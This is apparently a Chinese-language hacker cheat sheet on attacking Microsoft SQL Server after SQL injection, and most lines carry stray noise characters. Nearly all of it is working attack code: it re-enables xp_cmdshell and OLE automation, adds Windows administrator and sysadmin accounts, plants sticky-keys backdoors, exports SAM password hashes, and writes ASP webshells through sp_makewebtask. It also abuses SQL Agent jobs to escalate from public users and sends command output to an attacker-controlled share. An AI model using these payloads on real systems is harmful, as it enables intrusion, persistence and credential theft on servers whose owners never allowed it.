1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
7 J7 E$ X. V! X( c b恢复方法:查询分离器连接后,
6 b7 G6 h/ P9 ]: R第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
; a& H9 f& d6 t6 a4 w2 Q. k第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ! f3 ?+ U3 B" B6 ^- Q X
然后按F5键命令执行完毕
" o9 X$ X: G- F/ e8 H( A+ S* F+ v8 J! C9 P
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。): g' o8 S b R4 D+ i
恢复方法:查询分离器连接后,, o0 t4 |- G8 h
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
0 ?7 F& s8 J. J% j; v! D第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
8 y; n/ d) t( m! ?1 {% g4 t6 l然后按F5键命令执行完毕
" y9 {+ X; p% q* |
/ H. t! n" j2 g/ v- M# ^3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
( K5 S' R$ O- P; g% x恢复方法:查询分离器连接后,& o1 f# r/ S7 a6 X9 @$ R, U! c
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'' D! }' A1 J" R4 P
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' + O+ G3 F; r# R1 r" ]
然后按F5键命令执行完毕
6 u4 c. |2 Z }% L* m: ]: r; Z
* A$ l; v8 S# F# [4 终极方法.
* D( Q; k* t4 U( P( \. K如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
* u a, [/ H. l, y9 q% G9 N查询分离器连接后,
9 d% e# W: W4 s# u1 _. t2000servser系统:4 F& [7 S1 T7 a' ]6 |2 ^% u2 P7 ?" F @
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
# F( ~) q% q6 ]6 R8 F3 P1 W: J( f" z" f0 D1 Y
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
# A9 K% c: p9 G Q) h7 d, W
4 ^" V+ ?1 ]7 J; txp或2003server系统:
) r, q2 D5 e4 n% N1 X2 e, b6 L! \! K/ {3 a
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'# g9 U' P4 l3 }/ J
- Y% q( B$ t( s, Z, M3 {
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'3 J7 v7 W. Z- J6 R4 F& f
7 J6 d9 y$ O4 d+ u
- D `- V9 X! W五个SHIFT
$ c+ L* {( h: C5 m" d. kdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
$ K1 Z( D. y+ o+ y5 b2 l
: X% b- u" D) Q/ Xdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
2 Z' z+ |+ U6 { A' {; s0 E( @! a! k/ o: N; E# u6 j
xp_cmdshell执行命令另一种方法
9 N. @% _8 [3 a/ Rdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
1 ]' O" W! c# F7 m# P
- F I4 T1 B4 V* f' N, W7 d判断存储扩展是否存在 y$ d$ }9 e2 |, i$ ~6 B( O/ w2 M
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
; Y& P) Y- I3 z: _返回结果为1就OK
; ?7 @ d3 X, h$ O! ?/ Q1 [
$ i! d Z) b, o& i; Y+ M5 N8 Q4 u8 |9 u3 R9 s) `
上传xplog70.dll恢复xp_cmdshell语句:9 C* V% m! Z' t- ^
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'+ F% m% L- _9 r9 p% g
3 l3 @' m# k. }3 g+ `否则上传xplog7.0.dll1 E0 I* L7 Q: x& }; w
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
' u% @ L( H, d5 A$ l
! K0 {- e5 l4 G$ L! p& z$ l
' `' n: P) B7 d3 R- b; B: D$ {0 F$ J1 F" A- `; l
首先开启沙盘模式:
( R; n( d5 g0 c, _& wexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',16 I; \" n" u d8 Q$ Z
, b4 U6 e3 I0 U# N) c) a2 i; @; F
然后利用jet.oledb执行系统命令
! U: ~) Z6 g' d' ^select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')/ R6 _1 b# O5 o: j8 b# A+ c
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
" ~6 `8 x) s& } Z G" @9 @( E, w( v( L- a: ?# M' O
0 I3 S& O I: X% A
' ^9 d; X8 K( u5 `9 z恢复过程sp_addextendedproc 如下:
# T4 m# y, f& a" {create procedure sp_addextendedproc --- 1996/08/30 20:13 0 l6 v! s- g- _9 {" |. R5 V
@functname nvarchar(517),/* (owner.)name of function to call */
$ j3 E/ P2 B. N+ B8 p3 `@dllname varchar(255)/* name of DLL containing function */
5 U2 b2 _2 K1 ?as
8 I K* E8 X8 n& h( u) g+ kset implicit_transactions off
M# ]# V9 [4 Aif @@trancount > 0
/ z+ u2 `1 A7 Y6 sbegin & i% _* k5 [$ b0 o( L
raiserror(15002,-1,-1,'sp_addextendedproc')
3 u$ L6 n* n. D% q3 c0 xreturn (1)
# j) u/ Q3 l# l- A4 Send $ G3 ^ v; c8 b$ G$ f+ z) y
dbcc addextendedproc( @functname, @dllname)
! m* T# K/ ~ y; breturn (0) -- sp_addextendedproc 8 `+ E, H+ @3 L& j! P; W
GO
" l6 w3 ^, T( v0 ~$ t9 P. t/ T) c: `3 ]7 [9 N
" m# J+ ~# R/ _
$ [. ?3 |0 g3 ?% `' m导出管理员密码文件
* K6 `) p" T" M1 x/ Lsa默认可以读sam键.应该。. w6 m* f5 y2 m4 ?+ c& z
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
1 r J) A; { \net user administrator test" w7 ~+ Q3 I. h: a) o! e: v
用administrator登陆.0 c& R* b$ [# g% g
用完机器后
) V1 |8 w3 i q0 ~& Kreg import c:\test.reg
$ W1 y. L7 |% v根本不用克隆.
4 ?( I, P$ g* d) E0 J! U* C$ u找到对应的sid. 3 X& ^8 e* B* }: J" x/ ]
, S! \& G, T2 B8 a' W# K7 A( c. S. M5 |6 F9 d0 V% e
2 c4 M. O+ w% R0 o; D- S) y
恢复所有存储过程
4 h: h& B4 {, A/ Z; Huse master & w, f- e y3 k5 \7 c @7 V: u
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
/ e: X; ~6 q# b4 K$ D/ v2 p0 k* Qexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
a- u3 }7 W2 ]8 g; \4 rexec sp_addextendedproc xp_loginconfig,'xplog70.dll' - g2 y/ ~1 n$ M
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 1 [. a8 i8 G, K! z8 s
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 2 Z* Z7 C% L& r4 f' Z
exec sp_addextendedproc sp_OACreate,'odsole70.dll' n' Q1 |9 N& d% x4 y
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' " D; q+ L! W1 N3 u, W4 b( \
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 4 ]+ y$ @# U1 y- c, [ @8 B9 f# H
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' " E. Z4 q3 U8 ^- }4 I; b2 [2 W
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
& T+ Z6 x. G* Q) fexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' ( J7 t+ T) B2 ]* \. @
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
6 u8 Z( R8 j R4 |; ~- ?8 f9 ?2 X) rexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
9 U6 O! g! }7 ?6 i( l2 G; Iexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
# E8 I( |" Q& T5 e2 iexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
9 u. @% O; B1 a) W0 Oexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 6 ]$ F. ^" y' q/ @- U
exec sp_addextendedproc xp_regread,'xpstar.dll' % c% S( e( V4 A/ `0 T: T# v% s
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' : Q; g3 a+ a+ q' n; q. H
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 1 P5 J4 y' T/ c
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
G" W, n' a2 E. t5 F
: r& \ W: B# B
5 H& U" g! e6 u/ v1 O# R7 z* [建立读文件的存储过程
1 }1 g1 u" M+ X8 s& Y5 YCreate proc sp_readTextFile @filename sysname
* X6 j: i1 C/ A# S8 w% `as
6 Q- F1 ?/ d# n$ W1 f1 ^$ @* Z
* r2 j: G! w3 `: z- m/ ` begin 8 z, y1 _4 |0 @3 ~
set nocount on
: W6 v/ u- l+ _8 D( C Create table #tempfile (line varchar(8000))
) n$ W: I0 P, y! L exec ('bulk insert #tempfile from "' + @filename + '"')9 r4 I% {$ ^4 k- K
select * from #tempfile0 a; |, G+ u$ a" M1 `& i
drop table #tempfile! n7 `" {% T; k0 l6 N6 j
End4 L+ v! ]0 l2 n
$ V) Z# V) m4 A! a
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件. g- p7 G% @! t$ l
查看登录用户
Y3 @6 k2 I+ D e KSelect * from sysxlogins$ H' J1 @1 ~/ }0 @2 B3 L/ w1 h, U
$ F7 p: ^* h( A# J把文件内容读取到表中
* Y* Z' W& G6 c1 C& {BULK INSERT tmp from "c:\test.txt"
: R( k z$ d) C2 g, R3 Z, O3 idElete from 表名 清理表里的内容
2 y( g+ j4 E) ]4 {% C( Dcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
: V! Z* k8 d/ o% L/ u' d0 H- M( O+ J% k+ ]
Y g; ^# b6 V7 Z- J! s加sa用户
) k# T6 B/ a. a% x5 v$ mexec master.dbo.sp_addlogin user,pass;# \3 @: R# I$ k3 A# @! W* a
exec master.dbo.sp_addsrvrolemember user,sysadmin
& v* F8 i; j5 C" c9 Q2 ` [: Q+ F7 y6 c9 h/ X. a. o
% Q% j1 T4 S: B5 T& x d2 ^& L* J9 M- X5 r b+ I3 l
读文件代码
0 p- h1 h/ Y, D% ]! W" I5 Y( Ldeclare @o int, @f int, @t int, @ret int
+ k% s* O7 c& B! x5 \ C' Ydeclare @line varchar(8000)
6 }) O6 _0 l" c& [0 Vexec sp_oacreate 'scripting.filesystemobject', @o out
. Z0 Y4 L* W* S5 A* Gexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
% F9 b, X; [0 M# kexec @ret = sp_oamethod @f, 'readline', @line out
5 r; r5 w+ S* \( @, a Ywhile( @ret = 0 )) x: y3 H! a$ J; x( r
begin
$ F* g/ g' ~! vprint @line! \$ L# T/ d1 s: {% p& t
exec @ret = sp_oamethod @f, 'readline', @line out
P, e5 k, r% bend
( o4 u( C# |" H' B# `' Q
& Z6 O! e, \8 N) l5 _/ F: \. I& a: v
写文件代码:$ m, |0 N* ~! k
declare @o int, @f int, @t int, @ret int$ i$ E# w0 m/ k9 F0 B2 V
exec sp_oacreate 'scripting.filesystemobject', @o out
' t4 }6 Y6 G1 ]( E: I3 H/ w, Zexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
; r f: c: ^/ Y5 ]. h& F( Hexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
* h) E6 b! E7 R: _+ U% f9 [* B: h7 m# c, q7 D
6 g7 [2 a- F0 E添加lake2 shell) @9 k& q/ q* P
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
' V7 j: x, `/ h) T1 s8 Nsp_dropextendedproc xp_lake24 M' z B2 `0 r7 K' J1 e/ F" B
EXEC xp_lake2 'net user'
3 D, Z- w/ q6 Y- C# H, g: s$ s% |7 l; z# s9 T- m
6 s) d( h; }0 Q) i得到硬盘文件信息 % P. h, q1 [* h# B
--参数说明:目录名,目录深度,是否显示文件
( H S# I( O1 F' T Mexecute master..xp_dirtree 'c:' & w8 r5 ]/ |. l8 t0 _$ R
execute master..xp_dirtree 'c:',1 / N3 `$ Z% u3 L- y
execute master..xp_dirtree 'c:',1,1
# d) m+ j3 m; l
% b0 H6 x( F1 ^# H/ H" \ {& o2 Y8 d. T: a( `9 {
读serv-u配置信息1 a. ?$ h9 ^# R9 D% |
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'2 @: H8 ?: c* L. b
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
3 R- u4 v1 R* `
9 ?, t/ y, `: m4 l5 R通过xp_regwrite写SHIFT后门
( k d- r2 h! Y- rexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--3 Y, W: G5 s$ Y. ]* I! L
9 V, J" o4 `. T2 [ y7 l& a- c) i
2 W, n( H+ m: F0 N6 q' t$ `: C6 e) u/ T4 ~' x
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';: s O4 I0 e- ?% z g
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了, [0 T {: }' k6 A. X, @# f& |! O
0 n$ \% X5 I+ U/ FEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'+ Z3 p; ^( x; W- \
! z( V/ _; ~8 t$ }9 Q G+ F
' E1 @( G$ k8 Y7 ^5 a! F4 J1 [/ k0 t, E+ n6 g
sql server 2005下开启xp_cmdshell的办法" K* c6 N. z4 W) A
' Z8 R4 ^3 A- G2 W$ T
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
2 P/ A7 |# l. o5 x+ d1 L( t" {, S7 O9 F# M1 Q) o2 G3 H
SQL2005开启'OPENROWSET'支持的方法: J% a. p2 w' i' ^6 q6 B
* }( X' C9 [: ?* Y0 m9 |8 V. S! oexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
8 {) n; t4 Z& ^
, n2 W' U$ h& _3 V! J, W! c/ `SQL2005开启'sp_oacreate'支持的方法:
- _9 m' ]) S) k' C
' l0 b# N% t% _# m% v4 T* Hexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;( `# V; s- _5 }9 q
9 k: E+ B5 G. u, J; k! B
7 `4 `! @( U5 ^% O; I6 S1 ^% h# T6 `) @! w' i
- d9 [% }9 W$ }: d- c3 L4 Y
( X' K! ]' N1 b0 d9 n, E( P
3 H4 g2 v' H2 j) @7 R. o: E
, ^' v: a: m1 Z. [4 z7 o) `
' _/ ]( K. y1 o& c$ W& L! E- T) }$ l0 d/ ~" ^ v' C
2 r, i# b, C: h7 v, `& t
; l ~3 E! Z4 }% g3 i/ z" v6 w' d
/ |" T( ~7 c1 b: B' f. |0 x8 t/ ]
7 Q9 D3 x. z4 p2 z7 m3 ~# f8 T
' I E+ [* I p( Q; F. T4 V! g' L# F7 \5 I
; {: r" r; m! z4 S! C! R
3 X _; D+ Q" U* L- H0 ? L6 j/ ]/ }) q% P f- {
. G0 J) C8 @; W, x
0 D/ w. |- w3 {! I
1 n% [( a# s5 b& i: H, X/ Z) G4 w9 ?) M T9 v
8 _0 B' P. `7 ~! K以下方面不知道能不能成功暂且留下研究哈:, @6 b2 [ q/ s8 u- ^" A
4), X P' Z) E! \4 g/ i+ o
use msdb; --这儿不要是master哟" z5 s% S2 Y% x: ]: E# w1 t
exec sp_add_job @job_name= czy82 ;7 [) C" m+ D& F
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;+ W0 }+ N+ g# E' d0 l
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
2 U g/ `4 Y$ m1 k; T6 Z) uexec sp_start_job @job_name= czy82 ;' o' N8 h! g: k+ n0 q
, X8 D1 i2 `, l- m$ p
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以' }) {* Y1 a' F5 X. D
执行tsql语句了.
9 \4 O8 J6 z b3 J6 g$ N2 |对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名3 ~( T* `$ |& o- w! \, U
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
3 d0 D# Y3 q: M2 e. s9 X% |2 N8 fnet start SQLSERVERAGENT& ?. ^4 c4 c# o. o" V- h4 p9 D) Y, k; }
i" \+ F3 v, u9 C7 J) F对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
+ t. @. u7 O) vUSE msdb4 h' {% z: a W/ ^# |
EXEC sp_add_job @job_name = GetSystemOnSQL ,. a) Z0 z0 M3 v, O2 y9 a
@enabled = 1,
' E4 G1 `, h1 S@description = This will give a low privileged user access to/ d' S3 y2 Z5 s7 c. |
xp_cmdshell ,
! D/ }$ U/ q9 U4 C( V) g+ g: H6 M@delete_level = 1 ]$ ^5 E" n, P* E
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
9 e8 z( f3 g; N0 V. x& ]% ]7 A@step_name = Exec my sql , P' x5 L' m' J0 N! b, D! x% z: f9 N
@subsystem = TSQL ,
i8 O3 d; F; d& q7 E@command = exec master..xp_execresultset N select exec
/ Q% e4 A' k7 D/ }/ M# Z$ Vmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
( q M2 z! R6 o. O! LEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,& i, }2 v2 [2 Y! F/ M6 m% L* a
@server_name = 你的SQL的服务器名
) b1 J: X6 r6 Q! l' gEXEC sp_start_job @job_name = GetSystemOnSQL * X* V" W- i* ?) `. r
5 T) n+ p, l# _3 p: x; i
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以8 ^: f1 Z; X+ ]1 i2 W x6 j% l
才让我们可以以public执行xp_cmdshell' I$ Z& O+ E8 B4 x- p$ D
2 }1 Q- q# [( W. Y: R0 R
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
( l% a7 Q! v1 T在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
( W7 G2 u1 R# ]4 F; T, S4 O6 v- T; `8 K
USE msdb/ @1 w. R- F8 k" e
EXEC sp_add_job @job_name = ArbitraryFilecreate ,+ v3 @! i+ D, x8 ~" E8 ~; D& U5 c
@enabled = 1,
3 E6 v" ^9 h6 n# V; [, V" \@description = This will create a file called c:\sqlafc123.txt ,
/ F' g4 I& [ [+ @/ }* X z z; p7 S$ |2 `@delete_level = 1
5 ?7 A1 U7 i6 U7 ]& L1 c0 z% t# X3 GEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,. Q+ v! x7 H9 B
@step_name = SQLAFC ,
" f( a! ]3 g. _2 g4 x8 F& w@subsystem = TSQL ,* a# h, R7 Q7 t/ I9 s
@command = select hello, this file was created by the SQL Agent. ,2 M0 \5 ~% O: w1 w, F3 ^
@output_file_name = c:\sqlafc123.txt 4 v. T! N( M7 Q7 Z
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
% E( ^9 G3 y3 a! R! |@server_name = SERVER_NAME ' k& F, d- O' k
EXEC sp_start_job @job_name = ArbitraryFilecreate
2 e0 R; S# w: L4 T# I i
* G& o$ V- Q3 Q如果subsystem选的是:tsql,在生成的文件的头部有如下内容) L ~0 S7 m, k$ a# q$ ~3 K
) a5 H% @) _! Q( C" e- I??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
+ d) ~$ A0 ^) I% O----------------------------------------------
' v# u, L& N! z- G" P/ Phello, this file was created by the SQL Agent.+ l) T; q1 l+ r7 `
) |! h! Z5 h4 o1 n(1 ?????)
) L! [2 Y/ `% n) q# }
. w- G2 }" Z0 T0 L所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
3 |5 t, Z5 e( I6 N4 L: Z" k命令的vbs文件到启动目录!4 P5 ~- C! y1 l) w$ @1 @
# A% O7 u& B2 w! A7 ?
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
- a7 e7 J4 J t) g; g关于sp_MScopyscriptfile 看下面的例子6 d4 F! `7 b4 u r- W; b# M
declare @command varchar(100)
. L/ \) M% i4 Y, h' I! sdeclare @scripfile varchar(200)
% j& w3 q3 {4 {set concat_null_yields_null off ) N: S, K k( O/ U$ m) Z
select @command= dir c:\ > "\\attackerip\share\dir.txt" ! x/ ~0 d$ O/ t- l! }
select @scripfile= c:\autoexec.bat > nul" | @command | rd " * U$ u4 t0 `! G7 }: G4 S
exec sp_MScopyscriptfile @scripfile , % A' p, P4 p: {8 Z$ E
% j4 N5 d9 F$ [7 b这两个东东都还在测试试哟
- p5 L% |1 ?* g* F让MSSQL的public用户得到一个本机的web shell% m/ M% @7 [% e+ M3 X0 B( q
, _% \& [% O: C# d; }6 N
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
( a/ h. J% {; l% Z--@query= select <img src=vbscript:msgbox(now())> F' @8 [0 y) ?! W3 [
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
0 G$ [& c# X D8 t& k5 q@query= select 9 O/ B0 D( z% [' Q
<%On Error Resume Next 9 z2 t0 z' O3 C& y( R6 ]
Set oscript = Server.createObject("wscript.SHELL") . F0 l+ i U, y
Set oscriptNet = Server.createObject("wscript.NETWORK") 2 F- X% s5 S. `& [$ l
Set oFileSys = Server.createObject("scripting.FileSystemObject")
$ U* c5 P% }( H. h. J9 ^szCMD = Request.Form(".CMD") ( C- ]/ a' M" r5 M
If (szCMD <>"")Then
8 G" N1 n0 H& F4 }8 x* j! I0 ^szTempFile = "C:\" & oFileSys.GetTempName() 2 B5 W5 [7 \# \) {! J
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) / I% u7 D, M) \! H) O% t- E2 j
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 1 h) n2 {7 v% s
End If %>
' B" ]4 f% E8 J; A<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 9 }% V2 d4 e7 M
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> ; V' C0 ^0 ?2 Y% O1 |) d
</FORM><RE>
1 [0 C# e2 N0 `( f4 e- T4 J<% If (IsObject(oFile))Then
3 g5 v8 V% W1 zOn Error Resume Next % ]! I: s, H# z* V
Response.Write Server.HTMLEncode(oFile.ReadAll)
( t% D+ a6 L8 s/ DoFile.Close % v0 J. y. v: z# k" \& |
Call oFileSys.deleteFile(szTempFile, True) % {6 F. I( X: k& k- `6 S& K
End If%>
; E1 O( }5 d; h* S) T! P3 `</BODY></HTML> * e" Z+ ?& L8 w! N; Y5 P: R
|